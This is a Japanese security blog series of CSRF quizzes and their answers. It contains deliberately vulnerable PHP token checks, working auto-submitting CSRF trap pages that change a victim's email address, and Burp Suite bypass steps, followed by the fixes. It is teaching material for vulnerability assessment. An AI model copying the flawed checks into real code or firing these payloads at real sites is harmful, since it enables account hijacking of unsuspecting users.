2018年11月15日木曜日

問題:CSRFの防止策に関するチートシートにツッコミを入れる

この記事は「問題:間違ったCSRF対策~中級編~」の続編です。当初上級編を意図しておりましたが、後述する事情により、級の指定は外しました。

はじめに

問題は、OWASPから出ているCross-Site Request Forgery (CSRF) Prevention Cheat Sheet(JPCERT/CCによる邦訳「クロスサイトリクエストフォージェリ (CSRF) の防止策に関するチートシート」)にツッコミを入れてもらおうというものです。具体的には、このチートシート(カンニングペーパーの意)のDouble Submit Cookie(Cookie の二重送信)の箇所です。以下、JPCERT/CC訳で該当箇所を引用します。
Cookie の二重送信
Cookie の二重送信は、Cookie およびリクエストパラメーターの双方でランダムな値を送信し、サーバー側で Cookie の値とリクエストの値が等しいかどうか検証する手法です。
ユーザーがサイトにログイン するとき、サイトは暗号強度の高い疑似ランダム値を生成し、その値を Cookie としてユーザーのマシンに、セッション ID とは別に送ります 。どんな形であれ、サイトはこの値を保存しておく必要はありません。次にサイトは、機密に関わる送信にはすべてこのランダム値が非表示のフォーム値 (または他のリクエストパラメーター) および Cookie の値として含まれていることを確認します。同一生成元ポリシーにより、攻撃者はサーバーから送信されるどんなデータも読み取ることができません。また、Cookie の値を変更することもできません。攻撃者は、任意の値を悪意のある CSRF リクエストに添付して送信できますが、Cookie に保存されている値は、変更することも、読み取ることもできません。Cookie の値と、リクエストパラメーターまたはフォームの値は同じにする必要があるので、攻撃者はランダムの CSRF 値を推測できない限り、フォームを正常に送信できません。
Direct Web Remoting (DWR) の Java ライブラリバージョン 2.0 には、CSRF 対策として、透過的に Cookieの二重送信を行う機能が組み込まれています。
要は、ログイン時に乱数でトークンを生成しておいて、それをクッキーに保存しておく。入力フォームではクッキーの値をhiddenパラメータ等に入れて、POSTパラメータとクッキーとで同じトークン値を「二重に」送信し、受け取り側で両者が一致していることを確認するというものですね。上記にもあるように、サーバー側で状態を保持する必要がなく、RESTとの相性が良いということもあり、最近人気が出始めているようです。アプリケーションフレームワークでは、Django、CodeIgniter、FuelPHP等で採用されています。

上記の説明は技術的な間違いがあるので、それを指摘してもらおう。天下のOWASPのドキュメントにいちゃもんをつけるのだから、上級問題にふさわしい…そう思い、記事執筆の準備としてチートシートの原文(英語)を久しぶりに確認しました。

…あれ?
…大幅に改定されている
…Double Submit Cookieの位置づけも変わっている

ということで、なんと「解答」が本家のサイトに掲載されているというまぬけな状況になってしまいました。改定は今年の10月に行われたようです(改訂履歴)。

まぁ、チートシートでカンニングができるという、まことにチートシートにふさわしい状況になってしまったのですが、問題自身は面白いので、初期とか上級とか抜きにして出題したいと思います。

参考実装

読者の便宜のために参考実装を以下に示します。仕様は初級編等と同じですので、画面遷移例は初級編の記事を参照してください。
以下はテスト用に「ログインしたことにする」スクリプト(mypage.php)。ログイン時にCSRF対策用のトークンを生成してクッキーにセットします。ログイン状態で呼び出した場合は、単にログインユーザのメールアドレスを表示します。

<?php // mypage.php ログインしたことにする確認用のスクリプト
  session_start();
  if (empty($_SESSION['id'])) {
    $_SESSION['id'] = 'alice'; // ユーザIDは alice 固定
    $_SESSION['mail'] = 'alice@example.com'; // メールアドレス初期値
    $token = bin2hex(random_bytes(24));  // CSRFトークンの生成
    setcookie('token', $token);          // CSRFトークンをクッキーに保存
  }
?><body>
ログイン中(id:<?php echo
  htmlspecialchars($_SESSION['id'], ENT_QUOTES, 'UTF-8'); ?>)<br>
メールアドレス:<?php echo
  htmlspecialchars($_SESSION['mail'], ENT_QUOTES, 'UTF-8'); ?><br>
<a href="chgmailform.php">メールアドレス変更</a><br>
</body>
以下はメールアドレス変更フォーム(chgmailform.php)です。クッキーからトークンを取り出してhiddenパラメータにセットしています。
<?php // chgmailform.php メールアドレス変更フォーム
  session_start();
  if (empty($_SESSION['id'])) {
    die('ログインしてください');
  }
  $token = filter_input(INPUT_COOKIE, 'token');
  if (empty($token)) {
    session_destroy();
    die('トークンがないので再ログインしてください');
  }
?><body>
<form action="chgmail.php" method="POST">
メールアドレス<input name="mail"><BR>
<input type=submit value="メールアドレス変更">
<input type="hidden" name="token" value="<?php echo htmlspecialchars($token, ENT_COMPAT, 'UTF-8'); ?>">
</form>
</body>
以下はメールアドレス変更プログラム(chgmail.php)。POSTパラメータとクッキーのトークンを確認の後、メールアドレスを変更(実際にはセッション変数のみ変更)します。
<?php // chgmail.php メールアドレス変更実行
  session_start();
  if (empty($_SESSION['id'])) {
    die('ログインしてください');
  }
  $id = $_SESSION['id'];
  $c_token = filter_input(INPUT_COOKIE, 'token');
  $p_token = filter_input(INPUT_POST, 'token');
  if (! hash_equals($c_token, $p_token)) {
    die('正規の画面からご使用ください');
  }
  $mail = filter_input(INPUT_POST, 'mail');
  $_SESSION['mail'] = $mail;  // メールアドレスの変更
?>
<body>
<?php echo htmlspecialchars($id, ENT_COMPAT, 'UTF-8'); ?>さんのメールアドレスを<?php
 echo htmlspecialchars($mail, ENT_COMPAT, 'UTF-8'); ?>に変更しました<br>
<a href="mypage.php">マイページ</a>
</body>
メールアドレス変更時のPOSTリクエスト例を以下に示します。
POST http://example.jp/chgmail.php HTTP/1.1
Host: example.jp
Content-Length: 79
Cache-Control: max-age=0
Origin: http://example.jp
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://example.jp/chgmailform.php
Accept-Encoding: gzip, deflate
Accept-Language: ja,en-US;q=0.9,en;q=0.8
Cookie: PHPSESSID=onvi06g301m1o2cb1i0lgm9neg; token=fe24151956678c544bef14258407e12032ada4216f36480b
Connection: close

mail=alice%40wasbook.org&token=fe24151956678c544bef14258407e12032ada4216f36480b
クッキーとPOSTパラメータで、同じトークンが二重に送信されていることがわかります。

設問

チートシート旧版の翻訳であるJPCERT/CC訳(前述の引用部分)を元に以下の設問に答えよ。
  • 引用部分の解説には技術的な間違いがある。それを指摘せよ
  • クッキーの二重送信でCSRF保護できないシナリオを複数指摘せよ。OWASP原文の改定で指摘されていないシナリオを指摘すると加点となる

解答は週明けに公開予定です。

解答:間違ったCSRF対策~中級編~

この記事は、先日の記事「問題:間違ったCSRF対策~中級編~」に対する解答編です。まだ問題を見ていない方は、先に問題を読んで(できれば自分で解答を考えて)からこの記事をお読みいただくとよいと思います。
それでは、解答を説明します。

はじめに

出題時のわざとらしさから、この問題のポイントはstrcmp関数の挙動にあると気づいた方が多いと思います。

if (empty($_SESSION['token']) || empty($_POST['token'])
   || strcmp($_POST['token'], $_SESSION['token'])) {  // ワンタイムトークン確認
  die('正規の画面からご使用ください');
}
そして、strcmpの引数はどちらもempty()によるチェックが入っています。また、$_SESSION['token'] は、状態遷移図(下図)により、NULLかトークン文字列(乱数)のいずれかが入っている事がわかります。
これらから、CSRF対策を通り抜ける条件は以下となります。
  • empty($_POST['token']) が偽 かつ
  • strcmp($_POST['token'], 乱数文字列) が偽
一般に$_POST['token'] が返す値の型は以下のいずれかです。
  • null型    token=がない
  • 文字列   token=foo
  • 配列      token[]=foo → array('foo') が返る
そして、null型はempty()で真を返すこと、文字列型はトークンと一致させなければならず現実には困難であることから、残る可能性として配列を試してみましょう。
以下のサンプルスクリプトを試します。
<?php
var_dump(strcmp('xyz', array('a')));
結果は以下となります。
PHP Warning:  strcmp() expects parameter 2 to be string, array given in Standard input code on line 2
NULL
警告は出ますが、strcmp関数の戻り値は NULL、すなわち偽と判定される値となることがわかります。これは凄い罠ですね。この挙動はPHPのマニュアルには載っていませんが、User Contributed Notesには掲載されています(→マニュアル)。
では、PHPのどのバージョンからこの仕様なのだろうと思ってphpallで調べたところ、PHP 5.3.0から文字列と配列の比較でNULL(警告あり)を返すようになっており、PHP 5.2までは整数 32 を返していました。この仕様変更は ChangeLog にも掲載されていないのですね。

Burp Suiteで方法を確認する

それでは、PoC(概念実証コード)を書く前に、Burp Suiteで上記のアイデアを確認しましょう。まずmypage.phpからchgmailform.phpに遷移し、トークンをセッション変数にセットします。これは、empty()によるチェックを回避するために必要になります。


次に、メールアドレスを適当に入力しますが、メールアドレス変更ボタンを押す前に、Burp Suite上で Intercept is on の状態にします。


その後メールアドレス変更ボタンを押します。下図のようにHTTPリクエストが捕捉されます。


上図の囲みの箇所で、トークンを下図のように変更します。

   
あとは Intercept is onボタンを押して(Intercept is offと表示が変わる)流しましょう。以下のように、メールアドレス変更に成功しました。


PoC作成

それでは、上記と同じ操作を再現するPoCを作成しましょう。
まず、chgmailform.phpを閲覧する操作が必要ですが、iframe要素にchgmailform.phpを表示することにより実現することにします。その後時間を置いてchgmail.phpをPOSTします。PoC例を以下に示します。
<body onload="setTimeout('document.forms[0].submit()', 5000)">
<iframe src="http://example.jp/chgmailform.php" width="250" height="100"></iframe>
<form method="POST" action="http://example.jp/chgmail.php">
<input name="mail" value="evil@example.com">
<input name="token[]" size="10" value="1">
<input type="submit">
</form>
</body>
PoCの表示例です。


5秒経過すると、自動サブミットにより、以下の状態になります。


メールアドレスが変更されていることがわかります。

対策の考え方

この記事で紹介した攻撃が成立する原因は、文字列を想定しているトークンとして配列を指定できるところにあります。これを防ぐ目的で、生の$_POSTではなく、filter_input関数を使う方法があります。
$p_token = filter_input(INPUT_POST, 'token');
こう書くと、$_POST['token']が配列の場合、filter_inputはfalseを返すので、empty()で空と判定され、エラーに倒すことができます。

また、トークンの比較にstrcmpを使うこともよくありません。これは初級編で書いていたように === を用いる方が安全ですが、もっと良い方法として、PHP 5.6で導入された hash_equals関数を使うべきです。hash_equals関数はタイミング攻撃の緩和のために導入されましたが、より現実的なメリットとして、配列やnull値など文字列以外の値が指定された場合falseを返すので、意図しない入力に対して頑健です。実装例を以下に示します。
$p_token = filter_input(INPUT_POST, 'token');
$s_token = $_SESSION['token'] ?? null;
if (empty($s_token) || empty($p_token) || ! hash_equals($s_token, $p_token)) {
  die('正規の画面からご使用ください');
}
このケースでは、empty()によるチェックはなくてもよいのですが、保険的に残しています。なくても良い理由は、empty()がtrueを返す値で、かつhash_equalsがtrueになる可能性は、トークンが空文字列(長さ0の文字列)同士で一致する場合だけですが、$_SESSION['token']が空文字列になるシナリオはないからです。

実際のアプリケーション開発の際には上記のように手作りのCSRF防御システムではなく、フレームワーク等が提供する仕組みを利用することをおすすめします。本稿で用いたサンプルは、脆弱性の説明のためにイケてない実装を採用しているので、改良したとしても本番システムでは使わないでください。

参考文献

PHPのstrcmp関数が配列を受け取った際の挙動については、OWASPのPHP Security Cheat Sheetに解説があり、JPCERT/CCの日本語訳で読むことができます。この解説の中に、Drupageddon(CVE-2014-3704)と「これとまったく同じ問題(原文はExactly the same issue)」とありますが、どうですかね。Drupageddonの原因については拙記事「DrupalのSQLインジェクションCVE-2014-3704(Drupageddon)について調べてみた」を参照ください。Drupageddonと類似の問題としては「JSON SQL Injection、PHPならJSONなしでもできるよ」もあります。もっとも、PHP Security Cheat Sheetは先程見に行ったら「This page has been recommended for deletion.」と削除されていました。なかなか激しいです。
拙著「体系的に学ぶ 安全なWebアプリケーションの作り方 第2版」には、$_POSTではなくfilter_inputを用いる方がよいこと(P111)、トークンの比較にhash_equalsを用いるべきこと(P263)等が解説されています。
strcmpのPHP 5.3.0における仕様変更の状況については、海老原昂輔さんの「PHP 5.3 でネイティブ関数の引数型エラー時の返り値が変更になったけど大丈夫?」が参考になります。この記事の話は私も知っておらず、勉強になりました。(2018/11/15 12:00追記)

以上で、中級問題の解答編は終わりです。よろしければ「OWASP CSRFの防止策に関するチートシートにツッコミを入れる」にもチャレンジしてみてください。

2018年11月12日月曜日

問題:間違ったCSRF対策~中級編~

この記事は「問題:間違ったCSRF対策~初級編~」の続編です。前回同様、この記事では問題のみを出し、想定解答は後日公開することにします。ネタバレとなるブックマークコメントやツイートなどは控えていただけると幸いです(「思いのほか簡単だった」など感想は可)。ブログ記事等に解説記事を書くことは歓迎いたします。
この問題が果たして「中級」なのかについては異論があると思います。きわめて易しいと思う人もいれば、きわめて難しいと思う人も多いと思います。中をとって中級としましたが、現実には難し目かと思います。

問題

今回の問題は、前回(初級編)のトークンチェック部分(chgmail.php内)のみを変更したものです。まずは変更箇所を説明します。

前回のおさらい
if ($_POST['token'] !== $_SESSION['token']) { // ワンタイムトークン確認
  die('正規の画面からご使用ください');
}
今回のチェックプログラムは下記。トークンが空でないかempty()により確認していますが、トークンのチェックにstrcmpを使っているところが、なにやら匂いますねw
if (empty($_SESSION['token']) || empty($_POST['token'])
   || strcmp($_POST['token'], $_SESSION['token'])) {  // ワンタイムトークン確認
  die('正規の画面からご使用ください');
}
以下は、上記を含めたメールアドレス変更プログラム(chgmail.php)の全体です。その他のスクリプト(mypage.php、chgmailform.php)は前回と同じなので、初級編を参照ください。
<?php // chgmail.php メールアドレス変更実行
  session_start();
  if (empty($_SESSION['id'])) {
    die('ログインしてください');
  }
  $id = $_SESSION['id']; // ユーザIDの取り出し
  if (empty($_SESSION['token']) || empty($_POST['token'])
     || strcmp($_POST['token'], $_SESSION['token'])) {  // ワンタイムトークン確認
    die('正規の画面からご使用ください');
  }
  unset($_SESSION['token']); // 使用済みトークンの削除
  $mail = $_POST['mail'];
  $_SESSION['mail'] = $mail;
?>
<body>
<?php echo htmlspecialchars($id, ENT_COMPAT, 'UTF-8'); ?>さんのメールアドレスを<?php
 echo htmlspecialchars($mail, ENT_COMPAT, 'UTF-8'); ?>に変更しました<br>
<a href="mypage.php">マイページ</a>
</body>

実行例は初級編と同じですので、初級編の記事を参照ください。

設問

利用者(被害者)がmypage.phpを閲覧した状態(ログイン中を想定)で、罠ページを閲覧させることにより、CSRF攻撃でメールアドレスを変更してください。この攻撃を実現する罠ページのPoC(概念実証コード)が解答になります。

解答は11月15日(木)に公開予定です。

解答:間違ったCSRF対策~初級編~

この記事は、先日の記事「問題:間違ったCSRF対策~初級編~」に対する解答編です。まだ問題を見ていない方は、先に問題を読んで(できれば自分で解答を考えて)からこの記事をお読みいただくとよいと思います。

それでは、解答を説明します。

はじめに

CSRF対策の不備として、ありがちなパターンは以下のとおりです。
  1. トークンが予測可能(ユーザIDのハッシュ値をトークンとして用いている等)
  2. 他人のトークンが利用できてしまう(参考記事
  3. トークンのチェック方法に不備がある。
問題のコードは、暗号論的に安全な乱数生成器(PHPのrandom_bytes関数)を用いてトークンを生成し、それをセッション変数に記憶しているので、上記1 と 2 は問題ないと考えられます。したがって、3 が該当しそうだと当たりをつけます。そのためには、攻撃者は以下のトークンチェック(chgmail.php内)を回避する必要があります。

if ($_POST['token'] !== $_SESSION['token']) { // ワンタイムトークン確認
  die('正規の画面からご使用ください');
}
$_POST['token']は攻撃者が自由に設定できますが、正規のトークンの値は乱数なので予想できません。そこで、$_SESSION['token']がどのような値をとるか調べてみましょう。ログイン直後(mypage.php)にはこの変数は設定されていません。そして、PHPの場合、設定されていない変数を参照するとNULLが返ります(警告が表示され処理は継続される)。つまり、$_SESSION['token']の見かけの初期値はNULLということになります。そして、入力フォーム(chgmailform.php)に遷移するとトークンが設定され、メールアドレス変更(chgmail.php)の際にNULL(未定義)に戻ります。この様子を状態遷移図として下図に示します。
$_SESSION['token']に通常NULLが入っていることを使ってCSRF攻撃ができます。$_POST['token']がNULLであれば、上記のif文はNULL同士の比較になるので、チェックを回避できます。具体的には、POSTパラメータtokenを消してしまうことによって、$_POST['token']がNULLとなり、CSRFチェックを回避できます。

スクリプトを動かして確認してみる

ここで、Burp Suite(無償のCommunity Editionを想定)を用いて、上記を確認してみましょう。プロキシとしてBurp Suiteを設定した状態で、サンプルプログラムのメールアドレス変更を実行します。そして、chgmail.phpへのPOSTリクエストを選択し、コンテキストメニューを表示(Windowsの場合は右マウスクリック)して、「Send To Repeater」をクリックします。


下図のようにRepeaterタブが赤色表示に変わるので、このRepeaterタブをクリックします。

以下のように、HTTPリクエストの内容が表示されます。


ここで、リクエストボディ(上記赤枠の中)からtoken=以下をまるごと削除し、mail=も適当なメールアドレスに変更します(下図)。


この状態でRepeaterの「Go」ボタンを押すと、下図右半分のように、「aliceさんのメールアドレスをevil@wasbook.orgに変更しました」と表示されます。


すなわち、tokenパラメータを削除しても、更新処理が正常に完了することがわかりました。

PoCの作成

それでは、PoC(概念実証コード)を作成しましょぅ。Burp SuiteのProfessional版やOWASP ZAPにはCSRFのPoC生成ツールが利用できますが、このケースはPoCも単純なので、手で作ってしまいましょう。

要件としては、http://example.jp/chgmail.phpに対して、POSTリクエストでmail=... というパラメータを送信するだけです。そのようなHTMLを作成します。手動でサブミットでもいいのですが、以下はフォームが表示されてから5秒後に自動的にサブミットするようにしています。
<body onload="setTimeout('document.forms[0].submit()', 6000)">
<form action="http://example.jp/chgmail.php" method="post">
<input name="mail" value="evil@example.com">
<input type="submit">
<form>
<body>
これを動かしてみましょう。あなたは現在被害者の立場です。mypage.phpを閲覧して対象スクリプトにログインします。


この状態で、あなた(被害者)は、CSRFの罠をうっかり閲覧してしまいました。


罠の中のJavaScript(body要素のonloadイベント)により上記FormがPOSTされ、以下のように無事(?)メールアドレスが変更されました。


参考文献

平成29年春季の情報処理安全確保支援士試験 午後Ⅰ問2(問題解答講評)にこの知識を問う問題が出題されました。たまたまこの試験を私も受けていましたw
拙著「体系的に学ぶ 安全なWebアプリケーションの作り方 第2版」のP194には、この内容についての解説があります。

以上で、初級問題の解答編は終わりです。よろしければ「中級編」にもチャレンジしてみてください。

2018年11月9日金曜日

問題:間違ったCSRF対策~初級編~

脆弱性診断の学習のお供に、比較的簡単なCSRF対策バグの問題を提供します。この記事では問題のみを出し、想定解答は後日公開することにします。ネタバレとなるブックマークコメントやツイートなどは控えていただけると幸いです(「思いのほか簡単だった」など感想は可)。ブログ記事等に解説記事を書くことは歓迎いたします。

問題


以下はテスト用に「ログインしたことにする」スクリプト(mypage.php)。ログイン状態で呼び出すこともでき、いずれの場合でもログインユーザのメールアドレスを表示します。
<?php // mypage.php : ログインしたことにする確認用のスクリプト
  session_start();
  if (empty($_SESSION['id'])) { // ログインしたことにしてメールアドレスも初期化
    $_SESSION['id'] = 'alice';
    $_SESSION['mail'] = 'alice@example.com';
  }
?><body>
ログイン中(id:<?php echo
  htmlspecialchars($_SESSION['id'], ENT_QUOTES, 'UTF-8'); ?>)<br>
メールアドレス:<?php echo
  htmlspecialchars($_SESSION['mail'], ENT_QUOTES, 'UTF-8'); ?><br>
<a href="chgmailform.php">メールアドレス変更</a><br>
</body>
以下はメールアドレス変更フォーム(chgmailform.php)。CSRF対策用のワンタイムトークンを生成してhiddenパラメータtokenにセットします。
<?php // chgmailform.php メールアドレス変更フォーム
  session_start();
  if (empty($_SESSION['id'])) {
    die('ログインしてください');
  }
  $token = bin2hex(random_bytes(24)); // ワンタイムトークン生成
  $_SESSION['token'] = $token;
?><body>
<form action="chgmail.php" method="POST">
メールアドレス<input name="mail"><BR>
<input type=submit value="メールアドレス変更">
<input type="hidden" name="token" value="<?php
 echo htmlspecialchars($token, ENT_COMPAT, 'UTF-8'); ?>">
</form>
</body>
以下はメールアドレス変更プログラム(chgmail.php)。ワンタイムトークン確認の後、メールアドレスを変更(実際にはセッション変数のみ変更)します。
<?php // chgmail.php メールアドレス変更実行
  session_start();
  if (empty($_SESSION['id'])) {
    die('ログインしてください');
  }
  $id = $_SESSION['id']; // ユーザIDの取り出し
  if ($_POST['token'] !== $_SESSION['token']) { // ワンタイムトークン確認
    die('正規の画面からご使用ください');
  }
  unset($_SESSION['token']); // 使用済みトークンの削除
  $mail = $_POST['mail'];
  $_SESSION['mail'] = $mail;
?>
<body>
<?php echo htmlspecialchars($id, ENT_COMPAT, 'UTF-8'); ?>さんのメールアドレスを<?php
 echo htmlspecialchars($mail, ENT_COMPAT, 'UTF-8'); ?>に変更しました<br>
<a href="mypage.php">マイページ</a>
</body>

以下は実行例です。まず mypage.php にアクセスすると、ログインしたことにしてセッション変数を初期化し、現在のメールアドレスを表示します。「メールアドレス変更」のリンクをクリックします。


以下の画面でメールアドレスを適当に入力し、「メールアドレス変更」ボタンを押します。


以下のように、メールアドレスが変更されたことを確認します。その後マイページに遷移して、メールアドレスの確認をするとよいでしょう。


設問

利用者(被害者)がmypage.phpを閲覧した状態(ログイン中を想定)で、罠ページを閲覧させることにより、CSRF攻撃でメールアドレスを変更してください。この攻撃を実現する罠ページのPoC(概念実証コード)が解答になります。

解答は週明けに公開予定で、その際にもう少し難易度の高い第2の問題を紹介します。

フォロワー

ブログ アーカイブ